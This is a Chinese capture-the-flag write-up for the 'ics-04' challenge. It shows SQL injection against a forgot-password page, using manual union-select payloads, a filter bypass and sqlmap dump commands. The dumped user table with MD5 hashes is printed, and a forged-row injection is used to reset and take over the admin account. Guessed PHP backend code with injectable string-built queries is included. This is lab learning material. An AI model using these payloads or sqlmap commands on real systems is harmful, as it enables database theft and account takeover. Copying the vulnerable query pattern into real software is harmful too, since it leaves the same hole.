ics-04
根据提示我们直接观察注册和登录界面,先注册个账号,然后登录进去,提示普通用户登录没用,说明有一个非普通用户登录就会显示flag,这个用户的账号密码都在数据库里,所以我们进行sql注入,找到该用户的信息。
先扫一下登录界面,没有注入点
python2 sqlmap.py -r test1.txt --batch
在扫一下注册界面,没有注入点
扫一下忘记密码界面,这里存在注入点
手工注入
构造123456'''""""
返回没有这个用户
构造123456' -- +
返回正常
构造123456' and 1=1
返回没有这个用户
这就说明查询为假和查询语法错误都返回没有这个用户
查询为真时返回正常
爆列数
123456' order by 5
返回没有这个用户
123456' order by 4
返回正常
说明列数是4列
爆数据库
13456' union select 11,22,33,44 -- +
第三个位置回显
接着构造13456' union select 11,22,datAbase(),44 -- +
没有回显database(),说明database()被过滤了,并且大小写过滤没啥用。
然后我试着直接爆表
13456' union select 11,22,group_concat(table_name),44 from information_schema.tables where table_schema=database() -- +
发现这时也没有回显表名,说明这要第三个位置有database()这个字符,就不会回显我们想要的信息,我们试着绕过database()的书写。
构造13456' union select 11,22,group_concat(schema_name),44 from information_schema.schemata -- +
成功爆出数据库information_schema,cetc004,mysql,performance_schema
我们所用的数据库是cetc004
爆表
13456' union select 11,22,group_concat(table_name),44 from information_schema.tables where table_schema="cetc004" -- +
爆出user表
爆列名
13456' union select 11,22,group_concat(column_name),44 from information_schema.columns where table_name="user" -- +
username,password,question,answer,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view
虽然爆出这么多表,但实际上就只有前4个有用
爆具体列
13456' union select 11,22,group_concat(username,"~",password,"~",question,"~",answer),44 from cetc004.user -- +
爆出
c3tlwDmIn23~2f8667f381ff50ced6a3edc259260ba9~cetc~cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds,123456~e10adc3949ba59abbe56e057f20f883e~123456~123456
显然密码经过了md5加密
sqlmap爆库
将bp抓包,将请求头放在sqlmap.py下的文件目录下
python2 sqlmap.py -r test3.txt --current-db --batch
这里sqlmap也没爆出当前数据库,原因在于database()被过滤了
爆数据库
python2 sqlmap.py -r test3.txt --dbs --batch
爆表
python2 sqlmap.py -r test3.txt -D cetc004 --tables --batch
爆列名
python2 sqlmap.py -r test3.txt -D cetc004 -T user --columns --batch
爆具体字段
python2 sqlmap.py -r test3.txt -D cetc004 -T user -C "username,password,question,answer" --dump --batch
思路一
爆出数据库后,就卡在这里做不出来了,看了wp才知道这里有着同一个用户名可以多次注册的漏洞。
我们已经知道了存在一个c3tlwDmIn23的用户,猜测登录这个用户就可获得flag,所以我们在注册页面,再用这个名字注册一个账户,密码自己随便设置,然后再登录用我们自己的密码即可。
猜测后台类似代码类似于
if($SESSION["username"]=="c3tlwDmIn23")
{
echo "flag{*******}"
}
思路二
在忘记密码界面进行抓包。
发现没有用户名,只有答案跟密码,那后台怎么判别是要修改哪个用户的密码呢?经过分析是通过SESSION判断
每当用户查询成功一次,就会返回与这个用户相对应的PHPSESSID,这个PHPSESSID就是用户验证成功后在服务器存储一些信息的,这个SESSION对应数据库的信息,然后在之后的表单提交过程中进行对比。
例如下面的php代码,就是一般登录后在服务器端通过session把数据存储下来。然后将再将这个session,返回给客户端,以后再访问该页面时,就会带上该对应的PHPSESSID,实现了会话的维持。
function login($username,$password)
{
....sql查询
if(登录成功)
{
session_start();
$_SESSION['username']=$username;
$_SESSION['password']=$password;
}
}
而这道题后台大概的修改密码的php代码可以为猜测如下:
function check_user($username)
{
$sql = "select * from user where username = '$username'";
$row = db_query($sql);
if(count($row)>0)
{
session_start();
$_SESSION['islogin'] = true;
$_SESSION['username']=$row[0]['username'];
$_SESSION['password']=$row[0]['password'];
$_SESSION['question']=$row[0]['question'];
$_SESSION['answer'] =$row[0]['answer'];
return true;
}
else
{
return false;
}
}
function update_password($answer,$password)
{
session_start();
if($_SESSION['islogin'])
{
if($_SESSION['answer']===$answer&&$_SESSION['password']===md5($password))
{
session_start();
$_SESSION['auth'] = true;
return true;
}
else
{
return false;
}
}
return false;
}
function change_password($password)
{
session_start();
if($_SESSION['auth']&&$_SESSION['islogin'])
{
$password = md5($password);
$sql = "update user set password='$password' where username='$_SESSION['username']'";
db_query($sql);
return true;
}
return false;
}
然后我们构造
1' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','1','2'#
,其中202cb962ac59075b964b07152d234b70是123的md5加密,
然后密保答案就是2
密码就是123
进去修改密码页面,再改c3tlwDmIn23的密码,然后登录即可得到flag